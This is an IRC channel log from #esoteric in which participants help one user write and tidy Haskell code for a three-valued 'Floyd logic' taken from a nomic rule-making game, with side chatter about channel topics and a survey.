1270072659 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: it was paradoxical the day it was created < 1270072663 0 :lament!unknown@unknown.invalid TOPIC #esoteric :this topic is correct today but will be incorrect tomorrow | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1270072679 0 :lament!unknown@unknown.invalid TOPIC #esoteric :this topic is correct today but will be incorrect tomorrow | last topic change: today | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1270072689 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think, maybe not < 1270072694 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, === and (+) were defined in an INVALID rule < 1270072696 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So yeah < 1270072698 0 :oerjan!unknown@unknown.invalid TOPIC #esoteric :This topic was incorrect yesterday but is correct today | last topic change: 1 day ago | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1270072703 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm willing to believe it was just wrong < 1270073696 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION hopes he got the recursive logic right < 1270073713 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :? < 1270073742 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :To find the positions of a certain value in a list < 1270073764 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1270073779 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :all the positions or just the first one? < 1270073782 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24560#a24560 < 1270073783 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :All < 1270073823 0 :cal153!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1270073823 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because elemIndex already exists for finding the first one < 1270073879 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: x:xs needs parentheses < 1270073901 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ty < 1270073937 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The more obvious way, without using accumulators, is worse because it's not tail recursive? < 1270073974 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :no! < 1270073982 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :in fact the opposite, in haskell < 1270074024 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So I shouldn't have bothered spraining my brain like that? < 1270074025 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :grr < 1270074027 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*shrug* < 1270074046 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :because of the way lazy datastructures work, it is best to produce the initial cons cell as soon as possible < 1270074128 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh, oops < 1270074130 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I know n+k is considered "wrong", but is matching on number without using the +k ok? < 1270074151 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: actually your function also exists, it's called elemIndices < 1270074168 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION growls < 1270074169 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what are the axioms of circular logic? < 1270074180 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :In general, what you want in Haskell is to try and *produce* data as quickly as possible. For instance, you would prefer to make the cons cell as quickly as possible. < 1270074191 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: the axioms of circular logic are the axioms of circular logic < 1270074199 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :oh lol < 1270074229 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :But you'd absolutely hate to be doing something similar with (+), because (+) doesn't do that... < 1270074250 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: like case n of 1 -> ...; 2 -> ... ? i don't think that's considered wrong < 1270074279 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :while n+k patterns are either removed or deprecated in Haskell 2010 iirc < 1270074513 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: Removed. < 1270074519 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Completely and utterly removed. < 1270074533 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION thinks absvalue might be the wrong way to deal with negative modulos < 1270074552 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: why so? < 1270074564 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh negative _modulos_ < 1270074575 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what pisses me off is removing stuff like n+k but they leave if/then/else < 1270074586 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What should -1 % 3 turn into? < 1270074598 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I don't think 1 is the right answer < 1270074601 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :you can't have negative percentages < 1270074607 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :it's only between 0 and 100 < 1270074611 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh right < 1270074613 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I'm using % as the modulo operator < 1270074633 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :% is the fraction constructor in haskell btw < 1270074659 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the modulo operators are mod and rem (two variations with different behavior for negative numbers) < 1270074660 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :-_- < 1270074668 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and they both SUCK < 1270074681 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :lament: what? < 1270074688 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :they're integer-only < 1270074692 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :or integral-only < 1270074694 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh that < 1270074717 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :there's an fmod in some module iirc < 1270074731 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :-1 `rem` 3 == -1 < 1270074741 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it wasn't effectively implemented though when i heard about it < 1270074748 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :should be in the prelude though < 1270074748 0 :augur!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270074752 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION goes insane < 1270074754 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: note that you need parentheses around the -1 < 1270074755 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and probably called mod < 1270074760 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :... < 1270074774 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :- has precedence the same as unary and binary < 1270074781 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So mod is what I wanted after all < 1270074785 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270074828 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1270074853 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The original FOperations were called FLeft and FRight. Should I call the Haskell versions fleft and fright, or fLeft and fRight? < 1270074854 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270074871 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the latter is the usual style < 1270074951 0 :Asztal!unknown@unknown.invalid PRIVMSG #esoteric :it also has the bonus of not sounding scary < 1270074989 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1270075079 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1270075113 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24561#a24561 < 1270075129 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[I mean, I'm not using that code, thanks to elemIndices, but what's wrong, exactly?] < 1270075150 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: cur_pos : acc also needs parentheses < 1270075173 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ty < 1270075175 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :It worky now < 1270075215 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24562#a24562 < 1270075219 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Stylistic issues? < 1270075368 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :(\x -> x==Frue) = (==Frue) < 1270075424 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION is a bit too used to C# < 1270075477 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :The test cases specified in FRC round 29 all check out < 1270075512 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's this about :( < 1270075513 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: i note you are only exporting the type, not any of the functions < 1270075527 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I need to fix that, yes < 1270075544 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :module FLogic(FValue(..),fLeft,fRight) where < 1270075545 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :right? < 1270075557 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :aht is floyd logic < 1270075599 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: oh your first case can be written as [Talse, Floyd, Frue]!!ftemp values < 1270075614 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although the case may be faster < 1270075625 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm < 1270075649 0 :FireFly!unknown@unknown.invalid QUIT :Quit: Leaving < 1270075670 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :=== and (+) are defined in valid rules < 1270075692 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well === is a legal operator name < 1270075710 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1270075712 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :why < 1270075726 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: what? < 1270075740 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I dont get this < 1270075750 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: it was an frc round < 1270075763 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270075764 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what's an frc round < 1270075789 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :`google Fantasy Rules Committee < 1270075801 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :Member list, history of past rounds, and an introduction to how to play this themed rule-making game. \ www.win.tue.nl/cs/fm/engels/frc/index.html - [13]Cached < 1270075807 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :After I finish this code, I just need to send it to 1994 < 1270075823 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Where it may prove useful < 1270075827 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that may not be uptodate though, i hear it's still ongoing < 1270075852 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::(((((((((((((((((( < 1270075917 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :the FRC is indeed still ongoing < 1270075921 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :groups.google.com/group/frc-play < 1270075960 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I dont undersatnd aynthing!!!! < 1270076016 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: if you derive Enum as well, then fRight = toEnum . ftemp < 1270076041 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: it's a creative game, about inventing rules < 1270076050 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :That seems like more of a coincidence than anything profound < 1270076054 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: It is Nomic. < 1270076077 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Although it makes me wonder why FLeft and FRight were defined the way they were < 1270076082 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: well it's a coincidence with the order you listed it in the data type < 1270076139 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There has to be a more elegant way than p <+> q = if p==q then Talse else if p == Frue || q == Frue then Frue else Floyd < 1270076156 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I tried pattern matching, with the first one being p <+> p, but that didn't work < 1270076184 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: what is clear is that fLeft and fRight are functions of each other < 1270076187 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :p <+> q | p == q = ... < 1270076192 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :p <+> q | otherwise = ... < 1270076194 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, oh, ty < 1270076213 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Wait, I need to say p <+> q multiple times? < 1270076220 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :Repeat: if/then/else sucks < 1270076227 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :anyone interested in a little challenge? < 1270076243 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, I meant, I thought the syntax let me skip the p<+>q thing the second etc. time < 1270076245 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: no, just once < 1270076297 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :actually fax's otherwise looks silly < 1270076314 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :p <+> q | p == q = Talse < 1270076325 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Frue <+> _ = Frue < 1270076331 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_ <+> Frue = Frue < 1270076337 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :_ <+> _ = Floyd < 1270076390 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :... < 1270076452 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :http://hpaste.org/fastcgi/hpaste.fcgi/view?id=24563#a24563 < 1270076508 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :You know, in (+), Floyd almost acts like a NaN < 1270076552 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you could define fMiddle with 0 -> Floyd; 1 -> Frue; 2 -> Talse and then fLeft and fRight would be rotations in each directions of that < 1270076578 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what *I* would do is just write out the truth tables in full < 1270076581 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What does fMiddle mean, exactly? < 1270076595 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :fax, I just wrote directly from the specs < 1270076599 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if you MUST make it short gzip the program once it's done < 1270076602 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: um the third option you could invent other than fLeft and fRight? < 1270076609 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay that's different < 1270076624 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, fLeft and fRight operate on lists of FValues < 1270076650 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :each of those are just rotating the result values of the others < 1270076670 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Shouldn't there be 3!=6 possibilities, if you count more than just what you can get by rotating? < 1270076693 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: yep. but rotations are the even permutations < 1270076702 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :and form a subgroup < 1270076709 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION is lost < 1270076739 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: rotations are those permutations of 3 that leave no element in place < 1270076751 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :this works only for 3 elements though < 1270076773 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION wonders how FTheorem processing would wrok < 1270076775 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*work < 1270076852 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: like a NaN, except Floyd <+> Floyd == Talse < 1270076873 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Oh, right < 1270077141 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hm, a Data.Map String (a->b) could presumably be used to make an OOP-like object < 1270077142 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Floyd <+> Floyd ought to == Pink. < 1270077145 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, not a->b < 1270077157 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But some thing that can store various types of functions? < 1270077166 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol pikhq < 1270077275 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Not seeing much of a way to make that typecheck, without making a single type that has constructors for what function types you want... < 1270077721 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION does wonder if the function he wrote works < 1270077806 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Yes, although it is backwards from elemIndices < 1270077834 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Let others praise ancient times; I am glad I was born in these. -- Ovid (43 B.C. - A.D. 18) < 1270077853 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1270077882 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And quite possibly, future times may be more fun than these < 1270077886 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And less painful < 1270077900 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :once soma becomes widespread anyway < 1270077910 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :"This survey is sponsored by the Microsoft Employee Branding Team" What a hilariously creepy name for a team. < 1270077931 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :soma==wireheading? < 1270077932 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :haha < 1270077959 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: they walk around the campus with branding irons < 1270077977 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :That was my thought. < 1270078011 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I hope they at least use the old Microsoft logo: http://upload.wikimedia.org/wikipedia/commons/f/f6/Microsoft_Logo_Historical.svg < 1270078208 0 :Tritonio_GR!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1270078580 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :ACTION shouldn't be playing with Haskell now < 1270079693 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1270079724 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1270079888 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1270079982 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :augur: sure